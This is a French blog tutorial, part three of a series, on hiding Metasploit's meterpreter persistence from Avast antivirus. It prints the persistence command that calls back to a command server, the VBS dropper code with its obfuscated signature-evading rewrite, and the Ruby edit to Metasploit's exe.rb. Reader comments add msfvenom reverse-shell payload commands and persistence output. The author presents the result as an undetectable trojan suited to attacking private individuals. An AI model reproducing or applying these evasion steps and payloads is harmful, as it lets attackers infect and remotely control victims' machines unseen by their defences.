Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 3/3)

La dernière étape avant la victoire !

Il ne nous reste plus qu’à faire passer la persistance de meterpreter au travers d’Avast et notre réussite sera complète !

Après avoir accédé à notre machine de test à l’aide de notre cheval de Troie, saisissons la commande suivante :

meterpreter> run persistence -U -i 5 -p 443 -r 192.168.0.106

Et là, c’est le drame !

« -U » indique de démarrer le cheval de Troie lorsque l’utilisateur se connecte à l’ordinateur.

« -i 5 » configure la fréquence des tentatives de connexion au centre de commande. Toutes les 5 secondes dans notre cas.

« -p 443 » est le port sur lequel on tente de se connecter au centre de commande.

« -r 192.168.0.106 » est l’adresse IP du centre de commande.

Corrigeons ce dernier problème…

Récupérer le fichier .vbs

Comme indiqué dans l’image ci-dessus, Avast nous donne le nom du fichier .vbs qu’il a bloqué. (%USER%\AppData\Local\Temp\oAASHjQ.vbs dans notre cas)

Malheureusement pour nous, il a empêché la création de ce fichier. Supprimons donc la modification de clef de registre qu’a appliquée meterpreter avant de recommencer la manipulation en ayant pris soin de désactiver Avast.

Vu qu’Avast était désactivé, nous pouvons maintenant déplacer notre fichier .vbs dans notre environnement Linux afin de travailler dessus. Bien sûr, nous effaçons nos traces à l’aide du script généré par meterpreter et nous réactivons l’antivirus.

Détecter la signature

Nous allons utiliser la méthode éprouvée dans un article précédent pour définir la signature que détecte Avast à l’aide de la commande « split ».

Il semblerait ici qu’Avast se base non seulement sur une chaîne de caractères, mais aussi sur la position de cette chaîne dans le fichier. Effectivement, je pense que c’est la seule solution pour détecter un tel script car on peut remarquer le caractère aléatoire des noms de variables.

Pour affiner notre recherche, nous pouvons supprimer des lignes du script : si Avast ne détecte plus le script comme malveillant sans ces lignes, elles contiennent donc la signature.

A l’aide de la commande « split », on arrive à définir que la signature se trouve en fin de fichier. Effectivement, seules les dernières lignes ne semblent pas aléatoires…

Dim nqJHGUEOR
Set nqJHGUEOR = CreateObject("Scripting.FileSystemObject")
Dim maHKpLQwI
Dim HQVIGiNEpmzqzH
Dim YJGcqcMTKpI
Dim TBxVvsENf
Set HQVIGiNEpmzqzH = nqJHGUEOR.GetSpecialFolder(2)
TBxVvsENf = HQVIGiNEpmzqzH & "\" & nqJHGUEOR.GetTempName()
nqJHGUEOR.CreateFolder(TBxVvsENf)
YJGcqcMTKpI = TBxVvsENf & "\" & "svchost.exe"
Set maHKpLQwI = nqJHGUEOR.CreateTextFile(YJGcqcMTKpI, true , false)
maHKpLQwI.Write xowNpD
maHKpLQwI.Close
Dim AlWFlXRJCj
Set AlWFlXRJCj = CreateObject("Wscript.Shell")
AlWFlXRJCj.run YJGcqcMTKpI, 0, true
nqJHGUEOR.DeleteFile(YJGcqcMTKpI)
nqJHGUEOR.DeleteFolder(TBxVvsENf)
End Function
Do
dfbtEbKvciVxN
WScript.Sleep 5000
Loop

Avast détecte en réalité deux signatures dans ce fichier :

  • CreateObject(« Wscript.Shell »)
  • <chaîne aléatoire>.DeleteFolder(<chaîne aléatoire>)

Trouver comment modifier ces signatures

On peut aisément contourner la première en stockant le nom de l’objet appelé dans une variable :

Dim a
a="Wscript.Shell"
Set AlWFlXRJCj = CreateObject(a)

Pour la seconde, nous pourrons utiliser la méthode Eval fournie par Visual Basic afin de la stocker elle aussi dans une variable :

a="DeleteFolder"
Eval("nqJHGUEOR."&a&"(TBxVvsENf)")

Ce qui nous donne la fin de code suivante :

Dim nqJHGUEOR
Set nqJHGUEOR = CreateObject("Scripting.FileSystemObject")
Dim maHKpLQwI
Dim HQVIGiNEpmzqzH
Dim YJGcqcMTKpI
Dim TBxVvsENf
Set HQVIGiNEpmzqzH = nqJHGUEOR.GetSpecialFolder(2)
TBxVvsENf = HQVIGiNEpmzqzH & "\" & nqJHGUEOR.GetTempName()
nqJHGUEOR.CreateFolder(TBxVvsENf)
YJGcqcMTKpI = TBxVvsENf & "\" & "svchost.exe"
Set maHKpLQwI = nqJHGUEOR.CreateTextFile(YJGcqcMTKpI, true , false)
maHKpLQwI.Write xowNpD
maHKpLQwI.Close
Dim AlWFlXRJCj
Dim a
a="Wscript.Shell"
Set AlWFlXRJCj = CreateObject(a)
AlWFlXRJCj.run YJGcqcMTKpI, 0, true
nqJHGUEOR.DeleteFile(YJGcqcMTKpI)
a="DeleteFolder"
Eval("nqJHGUEOR."&a&"(TBxVvsENf)")
End Function
Do
dfbtEbKvciVxN
WScript.Sleep 5000
Loop

Dans le cas où l’antivirus détecterait toujours notre script comme malveillant, nous pouvons également utiliser des méthodes d’encryptage et de décryptage. Dans notre cas, Avast ne détecte plus notre script.

Test avec Avast

Exécutons notre nouveau script sur notre machine Windows. On note déjà que le script en lui-même n’est plus détecté, mais …

Dommage ! C’était bien tenté !

On remarque tout de même que le problème s’est déplacé, le script Visual Basic a pu être copié sur l’ordinateur, mais plante au lancement… Il doit donc s’agir d’une signature au niveau du cheval de Troie qui est lancé par ce script, vous savez, ces lignes contenant tout un tas de chiffres dans notre script Visual Basic. 🙂

Qu’est-ce qui a pu se passer ?

Rappelons-nous : nous avons généré notre cheval de Troie basé sur un template personnalisé.

Sauf qu’ici, rien n’a été configuré pour que Metasploit génère le cheval de Troie de notre script Visual Basic en utilisant notre template personnalisé ! Il doit donc toujours utiliser la configuration par défaut.

Modifions donc Metasploit pour qu’il se serve de notre template par défaut. La solution la plus simple est de faire une sauvegarde du fichier /opt/metasploit/msf3/data/templates/template_x86_windows.exe et de mettre à la place notre fichier monTemplate.exe que nous renommons, bien évidemment.

Intégrons notre changement de script à Metasploit

Nous avons effectué des modifications dans notre script Visual Basic et nous voulons maintenant intégrer ces modifications à Metasploit.

Cherchons une chaîne de caractère caractéristique du script dans le fichier /opt/metasploit/msf3/lib/msf/util/exe.rb vu dans l’article précédent.

Il apparaît à deux endroits. Celui qui nous intéresse se situe dans la méthode « to_exe_vbs » car, rappelez-vous, nous voulons corriger un script .vbs. Voici donc les lignes de code incriminées :

vbs << "Dim #{var_shell}\r\n"
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"

vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n"

Ouf ! C’est quand même plus facile à lire que de l’assembleur ! 🙂

Une simple modification pour répercuter nos changements et c’est réglé :

vbs << "Dim #{var_shell}\r\n"
vbs << "Dim a\r\n"
vbs << "a=\"Wscript.Shell\"\r\n"
vbs << "Set #{var_shell} = CreateObject(a)\r\n"

vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
vbs << "a=\"DeleteFolder\"\r\n"
vbs << "Eval(\"#{var_obj}.\"&a&\"(#{var_basedir})\")\r\n"

Nouveau test

Exécutons à nouveau la commande « run persistence -U -i 5 -p 443 -r 192.168.0.106 » dans notre meterpreter…

Avant de crier victoire, redémarrons l’ordinateur pour vérifier qu’il n’y a aucune détection au lancement.

Bingo !

Conclusion

Vous voici en possession d’un cheval de Troie qu’Avast ne peut pas encore détecter. Les actions à effectuer sur Metasploit auront été fastidieuses, mais nous y sommes parvenus !

Il ne nous reste plus qu’à effectuer le même travail pour les nombreux autres chevaux de Troie fournis par Metasploit 😀

Trêve de plaisanteries, effectuer le même travail sur la version bind de meterpreter ou sur des chevaux de Troie proposant un encryptage des communications (https, ssl) peut être intéressant pour couvrir un panel plus large de situations. Ce travail devrait maintenant aller plus vite : les modifications effectuées dans le fichier exe.rb ne seront pas à refaire et on peut toujours réutiliser notre template personnalisé.

Je n’insisterai donc jamais assez : ne croyez pas votre antivirus les yeux fermés !

Note : cette version de meterpreter n’encrypte pas ses communications, la plupart des systèmes de détection et de prévention d’intrusion des entreprises (IDS / IPS) auront vite fait de le découvrir et de vous déconnecter du réseau. Il faut se servir d’un cheval de Troie qui utilise SSL pour contourner ce style de système, j’y reviendrai sans doute dans un prochain article. Ce cheval de Troie ne convient donc que pour attaquer des particuliers, non des entreprises !

Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 1/3)

Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 2/3)

Source

Publicités
À propos

Un informaticien, qui tente de faire comprendre au public que l'informatique n'est pas si compliquée, malgré des acronymes et autres termes obscurs pour faire croire que c'est difficile (et que c'est de votre faute si "ça ne marche pas")

Tagged with: , , , , , , , , , ,
Publié dans Algorithmie, Cracking, Développement, Informatique, Intrusion, Metasploit, Piratage
6 comments on “Rendre meterpreter invisible en modifiant metasploit comme un nul(l) (Partie 3/3)
  1. pr1me dit :

    Hi mystcaster
    How did the final persist vbs file (%USER%\AppData\Local\Temp\oAASHjQ.vbs) being generated ?
    I,m testing your ‘s method but the vbs cant run and gvie me « The NTVDM CPU has encountered an illegal instruction … » this error

    bellow is the command output

    meterpreter > run persistence -U -i 5 -p 443 -r 192.168.233.11
    [*] Running Persistance Script
    [*] Resource file for cleanup created at /home/123/.msf4/logs/persistence/LS-BE8AC2E61D7D_20120923.5822/LS-BE8AC2E61D7D_20120923.5822.rc
    [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.233.11 LPORT=443
    [*] Persistent agent script is 609660 bytes long
    [+] Persistent Script written to C:\WINDOWS\TEMP\bGEDlohhdNHRT.vbs
    [*] Executing script C:\WINDOWS\TEMP\bGEDlohhdNHRT.vbs
    [+] Agent executed with PID 2924
    [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PBHVkuvk
    [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PBHVkuvk

    even manual run bGEDlohhdNHRT.vbs give me the same error . any ideas ?

    • mystcaster dit :

      Bonjour,

      Déjà, je tiens à garder mon blog en français, donc je vais répondre en français.

      J’ai testé mes articles sur Windows XP 32/64 bits et Windows 7 32/64 bits.
      Ton erreur ressemble à un mauvais code assembleur de ton cheval de Troie.
      As-tu essayé de lancer directement l’exécutable généré par « sudo msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=192.168.56.101 LPORT=443 > monMeterpreter.exe » ?
      Techniquement, l’application lancée par le script vbs est exactement la même.

      Si cette nouvelle application générée donne la même erreur, essaye d’exécuter ton template seul.
      Si le template donne la même erreur, refais-en un. Sinon, vérifie le code assembleur de ton cheval de Troie en suivant cet article : https://piratercommeunnul.wordpress.com/2012/09/08/rendre-un-virus-indetectable-par-les-antivirus-comme-un-null/

  2. Pedy dit :

    Bonjour mystcaster, merci pour ce formidable tuto!! comment est ce que je pourrais vous contacter en prive?

  3. vico dit :

    Merci pour ce super tuto et pour ton site que je viens de découvrir, vraiment très intéressant.
    J’ai testé la version persistante et le script de suppression ne semble pas fonctionner :
    le fichier temporaire et le process sont introuvables (la clé de registre dans run est bien supprimée)
    Le problème vient-il du fait que l’on a modifier le Template ou le exe.rb ?

    • mystcaster dit :

      Normalement modifier le template ou exe.rb n’entrave pas la persistance de meterpreter.
      Si le fichier n’a pas été créé, il se peut que ton antivirus l’ait détecté et empêché son installation.

      Comme j’ai déjà dû le dire : il n’y a pas de solution parfaite pour contourner un antivirus, c’est une question de temps avant qu’une version du virus ne soit détectée. De plus si une solution fonctionne avec un antivirus, elle ne fonctionnera pas forcément avec un autre.
      Au cours de mes articles, j’essaye donc de donner les méthodes pour faire telle ou telle chose. Il vous appartient ensuite de les adapter pour chaque situation que vous pourrez rencontrer.

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

MystCaster
septembre 2012
L M M J V S D
« Août   Oct »
 12
3456789
10111213141516
17181920212223
24252627282930
Catégories
Archives
%d blogueurs aiment cette page :